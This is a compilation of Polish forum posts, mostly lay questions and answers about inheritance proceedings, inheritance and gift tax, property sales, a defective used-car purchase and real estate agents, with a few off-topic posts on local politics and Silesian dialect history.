> Co do osób uprawnionych - tylko mama ma przygotowanie rolnicze - to byo
> warunkiem zakupu ziemi rolnej opod koniec lat 70-tych. Oboje rodzice
> ukończyli taki kursi dopiero miogli kupić ta nieruchomość.

O ile dobrze rozumiem moc wyroku TK (pisałam o tym poprzednio), przy
uzwględnieniu daty śmierci Twego taty nadal mają znaczenie uprawnienia. Mama
musi znaleźć ten dokument o ukończeniu kursu, bo z tego co ja wiem istnieje
jakieś Rozporządzenie hm, nie wiem kogo (kiedyś to było Rozp. Rady Ministrów i
mówi o nim art. 1064 Kodeksu Cywilnego), które określa co rozumie się za to
przygotowanie do prowadzenia produkcji rolnej. Dobrze byłoby abyś dotarła do
aktualnego tekstu tego rozporządzenia, żeby sprawdzić czy to co mama ma jest
wystarczające dla tych celów (niech to znajdzie koniecznie!).

> Za poł roku taziemia ma być przekształcona w działki budowlane. Wygląda
> na to, że chyba jednak trzeba będzie zaczekać do tego czasu i wtedy zrobić
> postepowanie spadkowe. Tylko że ppodatek będzie wysoki!!!

Mnie się wydaje, że to nie ma znaczenia, bo - chyba - decyduje stan z dnia
otwarcia spadku czyli z daty śmierci taty, ale sprawdzę to Moni jutro i jakby
było inaczej to Ci napiszę.

> Dowiedziałam się od kogoś w sądzie, zę podobno teraz nie ma to już
> znaczenia i dziedziczyć mogą wszyscy - nie jest potrzebne przygotowanie
> rolnicze. Czy to prawda?

O tym napisałam Ci w tym osobnym wątku pt. "Do Moni i Hazzarda" - wiem, że
przeczytałaś.
Pozdrowionka cieplutkie. B.

  Ekolodzy chcą odszkodowania od poczty na niedor...
Niestety nie zawsze jest łatwo wykazać prostą zależność między stratą, a
powodujące ją opóźnienie w dostarczeniu przesyłki. W moim przypadku wazny list
polecony z dokumentami szedł (SZEDŁ - to chyba najwłaściwsze słowo)ponad 3
tygodnie (ok. 200 km). Kilkanaście osób przyjechało do sądu niepotrzebnie
zwalniając się z pracy. Prosta sprawa spadkowa przeciągnęła sie o kilka
miesięcy, bo sędzia musiał zawiesić postepowanie i dopiero po otrzymaniu
dokumentów wyznaczył nowy termin rozprawy. Dziękuję Ci Poczto Polska!

  Odprawa pośmiertna
Interpretacja prawa podatkowego w zakresie opodatkowania wynagrodzenia
wypłaconego przez zakład pracy po śmierci pracownika spadkobiercy zmarłego,
Urząd Skarbowy mając na uwadze art. 14a § 1 ustawy z dnia 29 sierpnia 1997 r. -
Ordynacja podatkowa (Dz. U. z 1997 r. Nr 137, poz. 926, z późn. zm.) informuje:

W myśl art. 5 ustawy o podatku od spadków i darowizn (Dz. U. z 1997 r. Nr 16,
poz. 89, z późn. zm.) obowiązek podatkowy ciąży na nabywcy własności rzeczy i
praw majątkowych w związku z czym zapłata podatku dokonywana jest osobiście
przez podatnika.
Zakład pracy nie ma obowiązku poboru zaliczki z tytułu wypłaconego świadczenia.

Zgodnie z art. 19 ust. 3 w/w ustawy osoby prawne oraz jednostki organizacyjne
niemające osobowości prawnej, będące dłużnikami spadkodawcy, są obowiązane, przy
zapłacie długu potrącić i przekazać do właściwego urzędu skarbowego podatek od
nabycia spadku, należny od spadkobiercy w wysokości ustalonej przez ten urząd.
Zapłata długu bez potrącenia od nabycia spadku może nastąpić tylko za uprzednią
pisemną zgodą albo po stwierdzeniu przez urząd skarbowy, że nabycie spadku jest
zwolnione od podatku lub że należny podatek został zapłacony albo prawo do
wydania decyzji ustalającej wysokość zobowiązania podatkowego uległo przedawnieniu.
W konsekwencji zatem, wypłata zaległego wynagrodzenia powinna być wstrzymana do
zakończenia postępowania spadkowego przed organem podatkowym i po doniesieniu
przez spadkobiercę stosownych dokumentów dotyczących zakończenia tegoż
postępowania wypłacona w kwocie brutto.

  Kolejna prośba do Bebiaka o pomoc (pod.od spadku)
Kolejna prośba do Bebiaka o pomoc (pod.od spadku)
Moja babcia po śmierci pozostawiła po sobie w spadku dom z działką. W drodze
postępowania spadkowego nieruchomość została podzielona na 3 równe części
(pomiędzy moją mamę, jej siostrę i brata).Złożyliśmy stosowne dokumenty do US
o wyliczenie należnego podatku. Przysłali, że każdy ma do zapłacenia po ok.
6.000 zł. Moja mama jest obecnie na emeryturze i dostaje ok. 1500 zł
miesięcznie, ale musi opłacić czynsz za mieszkanie i pozostałe rzeczy z tym
związane tzn. energia, telefon itp. Razem płatności wychodzą coś ok. 550 zł.
Nie mamy też odłożonej takiej kwoty aby zapłacić ją jednorazowo w całości.
Słyszałam gdzieś, że można złożyć wniosek o zapłacenie podatku w ratach. Czy
jeżeli napiszemy wniosek o rozłożenie płatności na 12 miesięcy to czy
oprócz kwoty bazowej trzeba będzie uiszczać jakieś odsetki? Decyzję o podatku
została odebrana wczoraj, termin płatności 14 dni od momentu doręczenia.
Gdzieś kiedyś czytałam, ale nie wiem czy dobrze zrozumiałam, że jak się złoży
taki wniosek przed upływem tych 14 dni to nie ma zaległości podatkowej ale i
odpowiedź z urzędu musi być przed upływem tego wyznaczonego terminu
płatności podatku. Czy jeśli ja wyślę takie pismo w terminie a odpowiedzi z
US nie dostanę w ciągu 14 dni (roboczych czy kalendarzowych?) to jak mam to
traktować? Czy wstrzymać się z zapłatą i czekać, czy zapłacić aby należność
podatkowa nie stała się zaległością podatkową, od której nalicza się odsetki?
Czy ktoś mógłby mi doradzić jak powinien wyglądać taki wniosek o rozłożenie
płatności na raty? Jakie uzasadnienia należy podać aby były skuteczne i nie
budziły żadnych zastrzeżeń? Jak dobrze to uargumentować i czy dołączać jakieś
xero np. wpłat na mieszkanie, telefon, energię? Obił mi się też o uszy
termin – opłata prolongacyjna, ale nie wiem czy to dotyczy tylko należności
podatkowych od firm czy również osób fizycznych.
A czy jest w ogóle możliwość odwołać się od decyzji i np. prosić o
obniżenie wartości podatku lub nawet może o jego zaniechanie? Jakie
przesłanki musiałyby wystąpić, żeby można byłoby coś takiego rozpocząć i czy
w ogóle jest to możliwe?

A może są jakieś strony wyjaśniające na przykładach tą kwestię i wzory pism
odwołujących się od decyzji?
Też będę wdzięczna.

Mam nadzieję, że nie zagmatwałam o co mi chodzi i proszę o pomoc
Z góry dziękuję i pozdrawiam

  podatek od spadku
podatek od spadku
Moja babcia po śmierci pozostawiła po sobie w spadku dom z działką. W drodze
postępowania spadkowego nieruchomość została podzielona na 3 równe części
(pomiędzy moją mamę, jej siostrę i brata).Złożyliśmy stosowne dokumenty do US
o wyliczenie należnego podatku. Przysłali, że każdy ma do zapłacenia po ok.
6.000 zł. Moja mama jest obecnie na emeryturze i dostaje ok. 1500 zł
miesięcznie, ale musi opłacić czynsz za mieszkanie i pozostałe rzeczy z tym
związane tzn. energia, telefon itp. Razem płatności wychodzą coś ok. 550 zł.
Nie mamy też odłożonej takiej kwoty aby zapłacić ją jednorazowo w całości.
Słyszałam gdzieś, że można złożyć wniosek o zapłacenie podatku w ratach. Czy
jeżeli napiszemy wniosek o rozłożenie płatności na 12 miesięcy to czy
oprócz kwoty bazowej trzeba będzie uiszczać jakieś odsetki? Decyzję o podatku
została odebrana wczoraj, termin płatności 14 dni od momentu doręczenia.
Gdzieś kiedyś czytałam, ale nie wiem czy dobrze zrozumiałam, że jak się złoży
taki wniosek przed upływem tych 14 dni to nie ma zaległości podatkowej ale i
odpowiedź z urzędu musi być przed upływem tego wyznaczonego terminu
płatności podatku. Czy jeśli ja wyślę takie pismo w terminie a odpowiedzi z
US nie dostanę w ciągu 14 dni (roboczych czy kalendarzowych?) to jak mam to
traktować? Czy wstrzymać się z zapłatą i czekać, czy zapłacić aby należność
podatkowa nie stała się zaległością podatkową, od której nalicza się odsetki?
Czy ktoś mógłby mi doradzić jak powinien wyglądać taki wniosek o rozłożenie
płatności na raty? Jakie uzasadnienia należy podać aby były skuteczne i nie
budziły żadnych zastrzeżeń? Jak dobrze to uargumentować i czy dołączać jakieś
xero np. wpłat na mieszkanie, telefon, energię? Obił mi się też o uszy
termin – opłata prolongacyjna, ale nie wiem czy to dotyczy tylko należności
podatkowych od firm czy również osób fizycznych.
A czy jest w ogóle możliwość odwołać się od decyzji i np. prosić o
obniżenie wartości podatku lub nawet może o jego zaniechanie? Jakie
przesłanki musiałyby wystąpić, żeby można byłoby coś takiego rozpocząć i czy
w ogóle jest to możliwe?

Mam nadzieję, że nie zagmatwałam o co mi chodzi i proszę o pomoc
Z góry dziękuję i pozdrawiam

  zakup auta w komisie
zakup auta w komisie
Witam

Mam prośbę, proszę o poradę.

Zakupiłem trzy tygodnie temu używany samochód w komisie.
Na ten zakup zaciągnąłem kredyt.

Okazało się, że gdy chciałem zarejestrować na stałe auto w urzędzie (teraz
mam rejestrację próbną), to dowiedziałem się, że komis sprzedał mi auto z
tzw. wadą prawną tz. bez uregulowania kwestii własności tego auta (żona
współwłaścicielka sprzedała auto po śmierci męża też współwłaściciela auta
bez postępowania sądowego dot. stwierdzenia nabycia auta na podstawie
testamentu).

Bez wgłębiania się w sprawy spadkowe, poszedłem do swojego rzecznika, ale
obecnie ma urlop, a w naszym powiecie nikt go nie zastępuje. Byłem więc w
biurze porad obywatelskich. Tam dowiedziałem się, że komisant na fakturze
zakupu powołał się na art. 770 kc, którym wyłącza odpowiedzialność za wady
prawne pojazdu.
Podobno jednak jako profesjonalista powinien z łatwością oceniając dokumenty
rozpoznać, że to auto ma taką wadę.
Dowiedziałem się też, że mogę starać się o unieważnienie tej umowy poprzez
powołanie się na wadliwe oświadczenie woli ze względu na wprowadzenie mnie w
błąd i domagania się zwrotu zapłaconej ceny wraz z kosztami tego kredytu i
innymi kosztami administracyjnymi.

Ale też powiedziano mi, że mogę od umowy odstąpić na podstawie ustawy o tzw.
sprzedaży konsumenckiej.

Proszę o podpowiedź, czy lepiej wybrać unieważnienie umowy czy niezgodność
auta z umową?
Może czegoś nie zrozumiałem. Proszę o wyjaśnienie tej kwestii.

No i co z umową kredytu, jak postąpić wobec banku? Płacić ten kredyt dalej?

W oczekiwaniu na odpowiedź, życzę zdrowych i spokojnych Świąt Wielkiej Nocy.

Pozdrawiam

Andrzej

  Pomysł gminy Radom na kupno Elektrociepłowni
Pomysł gminy Radom na kupno Elektrociepłowni
Czy redakcja gazety w Radomiu moglaby zadać prezydentowi Nicie
następujące pytania:

Prezydent Nita proponuje:
Radpec powołuje wraz z wierzycielami EC spółkę. Wspólnicy
wnoszą do niej aportem swoje wierzytelności. Spółka składa
syndykowi ofertę zakupu EC, zaciągając na ten cel kredyt
poręczony przez gminę. Po zakupie syndyk spłaca wierzytelności
i zamyka postępowanie upadłościowe. Spłata wierzytelności
udziałowcom spółki umożliwia umorzenie ich udziałów.
Konkluzja:
W ten sposób w spółce wierzycielskiej udziały ma tylko
gmina...."

Czy aby to jest prawdą?? Przecież jeśli syndyk spłaci WSZYSTKIE
wierzytelności, to także te wobec gminy Radom! A to raptem 5
mln!

"...Wspólny zarząd nad źródłami ciepła da - według Nity -
stabilizacja cen i zmniejszenie łącznych kosztów dostaw ciepła."

Stabilizacja - tak, ale na wysokim dla odbiorców poziomie!
Skąd będzie motywacja, by te ceny zmniejszać?
I DLACZEGO mają się zmniejszyć łączne koszty dostaw ciepła??

"...Z dokumentu wynika, że minimalna cena, jaką powinna
zaoferować za EC gmina, powinna wynosić 41 mln zł. Nita
podkreśla przy tym, że rzeczywisty koszt przejęcia będzie dużo
niższy. Syndyk spłaci bowiem miastu zadłużenie EC - ok. 5 mln
zł, oraz rozwiązana zostanie kwestia zobowiązań Radpecu w
stosunku do EC Radom, które syndyk wycenia na ok. 20 mln zł.

A co się stanie z tym długiem? Zniknie? Dlaczego?
Syndyk się bardzo ucieszy z takiego rozwiązania, bo sprzeda
ciążące mu nieruchomości (elektrociepłownie i jej teren) a
pozostaną mu należności od takiego tuza jakim jest RADPEC!

Przecież poza wierzycielami jest jeszcze interes
dotychczasowego właściciela EC, o który syndyk ma obowiazek
dbać! Tak, jak musi oddać pieniądze wierzycielom, tak samo musi
zciągnąć pieniądze od dłużników. W jego interesie jest
maksymalizacja masy spadkowej - OD TEGO MA PROWIZJĘ!

I na koniec jeszcze jeden cytat:
"...Według Nity dodatkowym efektem transakcji będzie "możliwość
prowadzenia wobec spółdzielczych odbiorców ciepła bardziej
elastycznej polityki windykacji zobowiązań...".

Czyli, Prezydent Nita jest za złagodzeniem rygorów wobec
spółdzielni, które nie płacą za ciepło!!!Niepłacenie popłaca!!
Płacący to frajerzy!

A GDZIE INTERES TYCH MIESZKAŃCÓW, KTÓRZY NIE KORZYSTAJĄ Z
OGRZEWANIA Z EC LUB RADPECU???

No comments.

PS. Sorry za przydługi komentarz, ale ... nie mogłem sie
powstrzymać, by nie skomentować takiego przedsięwzięcia.

  Proces ślązaczenia potomków goroli / chadziaji
Podałam przykłady, które może Pan uznać, że są niereprezentatywne. Przecież nie
wszyscy Ślązacy zostawili i mogli zostawić ślady swojego stosunku do gwary na
piśmie. Jednak sa listy Ślązaków z Teksasu, są czasopisma i gazety wydawane w
XIX wieku, są mowy wygłaszane w pruskim Landtagu przez śląskich posłów, są
wreszcie stwierdzenia Ślązaków, jak np. Damrotha: "dziećmi mówimy po polsku, w
szkole zapominamy wnet język ojczysty, przerabiając się na Niemców". Mogę
mnożyć podobne cytaty. W powszechnym użyciu było nazywanie gwary śląskiej
Wasserpolnisch i polskim, ponieważ były polskie nabożeństwa, można było
przystępować do I komunii w języku polskim, wreszcie jedno pokolenie uczyło się
po polsku w szkole. W bibliotece w Rogowie są życiorysy uczniów pisane w dwóch
językach, poza tym Konrad Mientus pokazywał mi dokument z II poł. XIX w. z
postępowania spadkowego, gdzie był obecny tłumacz, który tłumaczył z
niemieckiego na polski i dokument jest w dwóch językach. W tak wielu sytuacjach
Ślazacy stykali się z nazywaniem ich mowy polską, że było to dla nich
oczywiste. Polskość gwary śląskiej została zakwestionowana w państwie polskim.
Wielu nauczycieli napiętnowało lub karało za posługiwanie się gwarą śląską.
Przytoczony przeze mnie kontekstualny charakter etykietowania mowy ślaskiej
jest typowy, takich relacji jest wiele, poza tym zwrócił na to uwagę Ossowski,
który robił badania w Dobrzeniu w 1945 r.
Istnieje wiele materialnych dowodów na uznawanie gwary śląskiej za polską,
natomiast nie spotkałam się z żadnymi dowodami uzasdniającymi pogląd, który Pan
forsuje.
Ciekawa jestem, kiedy została uznana wtórnie za mowę polską? Czy powodami
politycznymi kierował sie Bartel Stein z Brzegu, który w Descriptio totius
Silesia (1512) pisał: "Nawet w miastach z jednej strony (Odry) mówią po
niemiecku, a z drugiej po polsku".

  Do P. Bebiak-darowizna
Bebiaku witam z najlepszymi życzeniami noworocznymi po długiej przerwie:)))
niestety muszę wrócić do mojej sprawy , wygląda ona tak jak napisałam w poscie
z 26.10, czyli postepowanie spadkowe zostało przeprowadzone dopiero w zeszłym
roku, w wyniku którego babcia dysponuje 4/6 części, i 2 synowie po 1/6.
Sprawy podatkowe zostały uregulowane tzn, babcia zapewne skorzystała z ulgi(z
uwzględnieniem kwoty od podatku(9600,-),a synowie zapłacili po 180,- podatku od
spadku.

bebiak napisała:
> Asiu, musisz:
> - upewnić się co do tego czy rzeczywiście po nabyciu spadku po dziadku oni
> (czyli babcia + synowie) niczego dalej w sensie przenoszenia własności nie
> robili;
*******
nie, rzeczywiście niczego więcej nie robiono z tym, także babcia nie jest
właścicielką całego mieszkania

> - dotrzeć do zaświadczenia z urzędu skarbowego dla babci - z niego powinno
> wynikać, do kiedy obowiązuje dla babci ten warunek zawieszający.

******
Bebiaczku, ja nawet mam te dokumenty z Urzędu Skarbowego,ale nigdzie nie mogę
znaleźć konkretnego wskazania do kiedy obowiazuje ta ulga
jest coś takiego co przyznam się nie bardzo rozumiem postaram się w skrócie
zacytować:
"...po odliczeniu kwoty wolnej od podatku w wys.9637,-...oraz po odliczeniu od
wartosci masy spadkowej kwoty 46.241,379(ulga mieszkaniowa)naczelnik US
stwierdził że ulgi przekroczyły wartość masy spadkowej i podatek od spadku nie
jest należny.
W przypadku nie zachowania warunków wynikjących z art,16ustawy naczelnik US
wyda decyzję w sprawie wygaśniecia niniejszej decyzji i dokona wymiaru podatku
uwzględniając jedynie ulgę z tyt.pokrewieństwa art 9ust...."

czym jest ta ulga mieszkaniowa???i o co tak naprawdę chodzi?byłabym wdzięczna
gybyś zinterpretowała ten cytat z pisma z US:)
czy rzeczywiście musielibyśmy czekać jeszcze 5 lat ,żeby US nie cofał babci
ulgi od spadku?

acha, muszę też skorygować pewną wartość, a mianowicie US dokonał wyceny tego
mieszkania na 93.000,-
na marginesie czy jesteś w stanie ustalić według watości mieszkania która
podałam, w jakiej wysokości jest ta ulga babci

pozdrawiam noworocznie i z góry dziękuję za ponowne zaangażowanie w moją sprawę
Asia

  Testament i co dalej?>
Witaj Morelko,

morelka8 napisała:

> W testemenice pisze: "...że stawiająca ....oświadcza,że do calości spadku
>powołuje swoją wnuczke .....urodzoną..córkę ..., zamieszkałą...moja mama
>oświadcza, że obecnie w skład spadku wchodzi nieruchomość.... "itd
> Mniemam, że z takim testamentem nie bedę miała problemów jest on jasno
> napisanym dokumentem, który jest korzystny dla mojej córki.

To jest właśnie to, co podniosłam: nie do działki powołujemy a do spadku (a że
coś tam sobie jeszcze oświadczymy to już ma mniejsze znaczenie).
Z mocy tego testamentu (o ile nie zajdzie coś, co spowoduje jego nieważnosć)
wymieniona w nim wnuczka zmarłej nabyła spadek (sąd to musi tylko
potwierdzić).

> Mam jeszcze jedno pytanie, czy bedę musiała wynająć rzeczoznawce, do
> oszacowania ile tego podatku mam zapłacić?

Nie, w zasadzie nie jest to potrzebne. W zeznaniu podatkowym (już potem, na
etapie postępowania w urzędzie skarbowym w sprawie podatku od spadku)
wskazujesz jaka jest wg Ciebie rynkowa wartość poszczególnych przedmiotów
spadku. Oczywiście pamiętaj, że wartość ta podlega ocenie przez urząd skarbowy,
zatem trzeba się zorientować ile takie podobne, w podobnym miejscu przedmioty
są na rynku warte. Jeśli urząd wartość tę zaakceptuje to od niej wymierzy
podatek (nie wiem czy pisałam: w I-szej grupie, a tu babcia-wnuczka, podatek
sięga do 7% rynkowej wartości masy spadkowej), ale może się zdarzyć, że US uzna
tę wartość za niską i będzie wszczynał w tej sprawie postępowanie.
Wierząc, że w miarę jasne - pozdrawiam Cię serdecznie i dziękuję za dziękuję:)
B.

  Developer House "Osiedle Palmowa"
Łapówka - podobno - poszła niedługo przed wyborami a teraz mimo uprawomocnienia
się decyzji administracyjnej urząd podejmie właściwe kroki aby zbadać tą
inwestycję. Plac budowy wizytowała policja - to fakt. Podobno wycięli drzewa
bez pozwolenia. Podobno - ta decyzja budowlana została wydana z rażącym
naruszeniem norm prawa budowlanego. Miejsc parkingowych będzie za mało więc
będą mieszkańcy i goście blokować dojazd. Jest ogromny problem z kanalizacją,
ponieważ nie dostaną zgody na przyłącze kanalizacyjne a dla budynków
wielorodzinnych obowiązuje zakaz tworzenia szamb. Podobno developer chce
postawić własną oczyszczalnię ścieków - lokatorom pod nosem!!! Do tego nie
będzie można przepisać własności notarialnie na lokatorów bez uporządkowanych
wpisów do księgi wieczystej i właściwych właścicieli wyłonionych w postępowaniu
spadkowym. Na razie widoczne efekty są: piękne uśmiechnięte panie w biurze,
zadbane pazurki sprawnie przewracają jakieś kłamliwe dokumenty. A na ul.
Bronowskiej przed siedzibą developera dumnie preżą się i lśnią super luksusowe
limuzyny różnych marek - należące do właścicieli i udziałowców obecnego DH,
poprzedniego AD. Sprawa dla reportera - tak. Obracając rok opłatą rezerwacyjną
od tylu chętnych - w czasach popytu na tanie mieszkania - to o czymś świadczy.
A liczba chętnych na mieszkania DH maleje - nikt nie będzie kupował mieszkania
bez kredytu bez hipoteki i bez pewności zostania prawnym właścicielem. Póki
będą naiwni, póty właściciele będą sobie zmieniać limuzyny. Ja nie chcę być
naiwnym. Ale chcę ostrzec kolejnych chętnych - nie popełniajcie błędu. Będzie
Was kosztował nerwy pieniądze i stracone złudzenia.

  BIURA NIERUCHOMOŚCI ?????
kilka prawd o agencjach
1.Musisz korzystac z agencji....?
To nieprawda. Zainwestuj własne środki w pozyskanie informacji. Daj np
ogłoszenie: kupię bez posrednika... Jest telegazeta, zapłąć za ogłoszenie w
gratce, traderze. Nie, nie. Ty chcesz za darmo...
2.Korporacja jest zamknieta.
To tez nieprawda. Każdy kto spełnia wymogi ustawy (jeszcze ponad rok nie trzeba
mieć wyższego wykształcenia) i zda egzamin - zostaje posrednikem. Nie ma
żadnych wewnętrznych ograniczeń korporacyjnych, pracy i praktyk pod nadzorem
pośrednika, podstawiania nogi. Praktyki i studia podyplomowe organizuje
dziesiatki niezaleznych podmiotów - np wyższych szkół, NOT. Jesli tylko chcesz -
bez trudu uzyskasz licencję. Egzamin jest trudny, ale wiekszość jednak zdaje
(nawet jesli nie za pierwszym razem).
gdzie tu analogia z notariuszami, adwokatami...?
Co do wymogu wyższego wykształcenia?
To nie jest bezzasadne. Wbrew panującej na tym forum opini, materia działań
pośrednika nie jest bardzo łatwa. Spróbuj sprzedać działke budowlaną w gminie
bez planu zagospodarowania i będącą np przedmiotem postępowania spadkowego.
Albo doradz Klientowi w sprawach podatkowych. A tego Klienci od nas wymagają.
Wiele razy na tym forum powtarzałem:
rynki poza Warszawą są coraz bardziej cywilizowane. A posrednicy - zwłaszcza
ci, któryz niedawno weszli do awodu - trakyuja swoja pracę i Klientów BARDZo
powaznie.
Co do wydania nr telefonu...
Zdziwiłbys się. Pracuje w mieście, gdzie wychodzi gazeta z anonsami
sprzedających. Moi Klienci moga ją sobie kupic za 1,50 zł. I kupują. Jak
pojadą do 30 mieszkań, skonfontuja tresc ogłoszeń z rzeczywistoscia (wysoki
standard), zderzą sie z ludzmi, którzy nie chca słyszec o sprzedazy na kredyt,
którzy nie kompletują dokumentów nieruchomości, równolegle rozmawiaja z kilkoma
osobami, żądaja wysokich zadatków - z ulgą przeychodza do mnie. Bo ja nie
sprzedaję adresu. Ja dopinam transakcję. i za to mi płacą...

  Darowizna
Witaj Bruno,

bruna1 napisała:

> MOj ojciec chce przepiać na mnie mieszkanie,mam rodzeństwo,mieszkanie jest
> własnościowe spółdzielcze,w momencie kupna mieszkania żyła, jeszcze moja
> mama,obecnie ojciec ma drugą żonę.Jak mamy się zabrać do tego, gdzie się
> najpierw udać,co trzeba zrobić by móc przepisać mieszkanie?
>Jakie opłaty sa z tym związane?A może lepiej przepisać nie podarować?

Jeśli mieszkanie zostało nabyte w czasie kiedy żyła mama to było wspólne i
najpierw trzeba przeprowadzić postępowanie spadkowe po mamie.
Jeśli mama zostawiła testament to spadek dziedziczy osoba wymieniona w
testamencie, a jeśli nie - to mamy dziedziczenie ustawowe gdzie po mamie spadek
nabyli: mąż oraz wszystkie mamy dzieci.
To jest pierwszy krok.
Następnym, w ciągu 30 dni od uprawomocnienia sie postanowienia sądu
stwierdzającego nabycie spadku, trzeba pójść do urzędu skarbowego celem
zgłoszenia masy spadkowej do opodatkowania, opłacenia podatku i uzyskania
dokumentu, który nazywa sie Zaświadczeniem zezwalającym na ujawnienie nabytych
w spadku praw majątkowych.
Nie wiem co po mamie pozostało ale jeśli pisać o tym mieszkaniu (które było
wspólne) to spadkiem po mamie tutaj będzie połowa tego mieszkania. Co jeszcze -
nie wiem.
I jak już to będzie załatwione można pójść do notariusza (wszyscy: ojciech i
wszystkie dzieci mamy, ktore sąd wymieni jako spadkobeirców) i zawrzeć umowę
działu spadku i zniesienia współwłasności, w wyniku której Ty nabedziesz caly
lokal.
Musicie się zastanowić, czy taka umowa będzie odpłatna czy też nie, a pamiętaj,
że wszyscy współwłaściciele mają prawo żądać od Ciebie spłat (tj. kwot
odpowiadających wartości ich udziałów albo niższych - zależy jak się umówicie).
To jest ich prawo a nie obowiązek - umowa taka może być również przecież
zawarta nieodpłatnie. Wszystko tutaj zależy od Was - musicie sie w tej sprawie
porozumieć, bo tutaj tylko strony umowy decydują.
Jeśli się nie porozumiecie to zostanie tylko sąd.
Koszty umowy uzależnione będą od wartości tego lokalu, rynkowej dzisiejszej
wartości.
Czy wszystko dla Ciebie zrozumiałe? Wierząc, że tak - pozdrawiam Cię
serdecznie. B.

  Ksiega wieczysta i testamet-ważność..
Trzeba przeprowadzić postępowanie spadkowe! Każdorazowy właściciel
nieruchomości ma obowiązek aktualizować dane w KW. Ma takie prawo również każda
osoba, która wykaże interes prawny. Skoro jest testament, na mocy którego
dziedziczy Pani część udziałów w nieruchomości - ma Pani prawo i obowiązek do
aktualizacji wpisów w KW. Ma Pani także obowiązek złożenia testamentu w sądzie
spadku (jeśli testament znajduje się u Pani).

Księga wieczysta potwierdza stan prawny nieruchomości. Zakłada się, że stan
prawnych nieruchomości jest właśnie taki, jak wynika to z wpisu do KW (rękojmia
wiary publicznej ksiąg wieczystych). Skoro współwłaściciele figurujący w KW
zmarli, to ani Pani, ani nikt inny nie może rozporządzać nieruchomością bez
przeprowadzenia postępowania spadkowego po babci i postępowania spadkowego po
dziadku. Na marginesie - skoro dziadek Pani zmarł pierwszy i nie pozostawił
testamentu, to jego udziały odziedziczyły jego dzieci,ale przede wszystkim jego
żona (czyli Pani babcia). Skoro babcia przepisała na Panią swoją połowę przed
śmiercią dziadka, to udział w nieruchomości zapisany w testamencie dziedziczy
Pani, a udział odziedziczony przez babcię po dziadku dziedziczą na ogólnych
zasadach spadkobiercy babci (czyli jej dzieci, a być może także wnukowie - czyli
i Pani).

Testament nie ulega przedawnieniu. Ale - kiedy po latach przychodzi dowodzić
swoich racji przed sądem (w przypadku konfliktu z pozostałymi potencjalnymi
spadkobiercami) może się okazać, że istotne dokumenty poginęły , ewentualni
świadkowie powymierali, a w ogóle, to naszą własność ktoś w międzyczasie
zasiedział, sprzedał itd. itd. Postępowanie spadkowe naprawdę nie jest zbyt
kosztowne. Koszty pojawią się dopiero przy np. wycenie nieruchomości i
konieczności spłaty pozostałych spadkobierców.

  Opinie o agentach nieruchomości
Dwa razy kupowałem mieszkanie: raz sam i raz przez agencje.
Pierwszy raz kupowałem sam i było to bardzo męczące. 2 tygodnie nie robiłem nic
innego jak tylko ślęczałem nad gazetami albo w internecie i szukałem ofert,
które i tak pokazywali mi różni "agenci" albo raczej "pokazywacze". Raz
zdarzyło się że kilka agencji chciało mi pokazać 5 razy to samo mieszkanie, bo
sprzedająca zgłosiła je do kilkunastu biur i sama dawała ogłoszenia. W końcu
jak już znalazłem coś "bezpośrednio" okazało się, że stan prawny uniemożliwia
natychmiastową sprzedaż (początek postępowania spadkowego). W końcu po miesiącu
codziennego biegania, umawiania się z dzisiątkami "pokazywaczy" kupiłem
mieszkanie, oczywiście pokazywacz, którego cała praca sprowadziła się do
pokazania JEDNEGO mieszkania (na akt notarialny nawet się nie pofatygował, nie
wspominając o jakichkolwiek negocjacjach w sprawie ceny) żądał 3% prowizji,
tyle tylko że nie miał ze mną żadnej umowy (nie chciałem podpisywać na klatce
schodowej, tylko w cywilizowanych warunkach, w spokoju, w biurze, którego chyba
nie miał, bo nie raczył mnie zaporosić. Zapłaciłem mu w końcu tyle, ile wynosi
średnia krajowa dniówka, gdyż na tyle wyceniłem jego pracę.

Za drugim razem, mimo fatalnej opinii o pośrednikach za namową znajomego
zleciłem poszukiwanie mieszkania renomowanej agencji, agent który mnie
prowadził miał licencje, pracował kilka lat w zawodzie. Powiedziałem czego
potrzebuje, w jakiej okolicy i ile jestem skłonny zapłacić. Nie marnowałem
czasu na samodzielne poszukiwania, tylko zdałem się agencję. W sumie obejrzałem
7 mieszkań przez 2 dni (Agent tak umówił wizytację, że obejrzeliśmy 4
mieszkania jednego dnia, 3 drugiego dnia), wszystkie spełniały moje
oczekiwania, wybrałem jedno, Agent wytargował niższą cenę (nawet się zdziwiłem,
bo w końcu niższa cena = niższa prowizja) sprawdził wszystkie dokumenty, ba
nawet kwestie związane z nieruchomością sam załatwił z kredytującym bankiem
(takie drobnostki, ale zawsze miałem mniej biegania i załatwiania). I powiem
tak- za taką pracę jak on wykonał zapłaciłem 2,25% prowizji bez poczucia, że
jestem "rolowany" czy "dojony" przez jakiegoś cwaniaka. No i mogłem się skupić
na pracy, a nie na bieganiu i rozmowach jak to powiedział mój przedmówca "ch z
b..." Szkoda tylko że wygląda jak wygląda, że większość agencji myśli o tym,
jak wyciągnąć od Ciebie forsę, nie oferując nic w zamian.

  problem prawno formalny, sprzedaż domu - help
Umowa u notariusza ma takie znaczenie, że jeśli babka cię będzie
chciała "wydymać" to ze zwykłą umową cywilno-prawną idziesz do sądu. Musisz
wnieść opłaty, koszty sądowe i sprawa trwa. A z notarialną umową idziesz od
razu do komornika. No chyba, że Pani się coś przytrafi, to dopiero po
zakończeniu postępowania spadkowego po niej.

I tak czeka Cię bieganina po urzędach i obłęd w oku. Grunt to dobre
przygotowanie i plan działania. Pochwalę się: w ciągu doby pozbierałam
wszystkie dokumenty niezbędne do przyznania kredytu i w ciągu niespełna
tygodnia podpisałam umowę kredytowa a po paru dniach przeniesienia własności.

Przyda Ci się wizyta u kilku notariuszy (zawód zaufania publicznego). Mają
obowiązek bezpłatnie udzielić Ci wyjaśnień dotyczących zakupu domu, oczywiście
jeśli wyczują, że to właśnie u nich chcesz podpisać umowę. Możesz też iść
odpłatnie na poradę do prawnika specjalizującego się w zakupie nieruchomości.

Uważaj na okazję! Ciekawe dlaczego inni kupujący się wycofali.
Może być coś nie tak w papierach, i to nie chodzi tylko o hipotekę czy
współwłasność. Możesz np. kupić dom z babcią czy dziadkiem na dożywociu - tzn.
nie będziesz mogła tych ludzi nigdy wyrzucić.

Weż koniecznie inspektora nadzoru budowlanego. Może być tak, że wpakujesz się w
niezłe tarapaty bo np. nie ma właściwej izolacji fundamentów i władujesz się w
paskudne problemy.

A Miejscowy Plan Zagospodarowania Przestrzennego - może mają te tereny
pzeznaczyć pod budowę autostrady.

A sąsiedzi? Może obok jest melina pijacka, albo klub nocny, albo po prostu
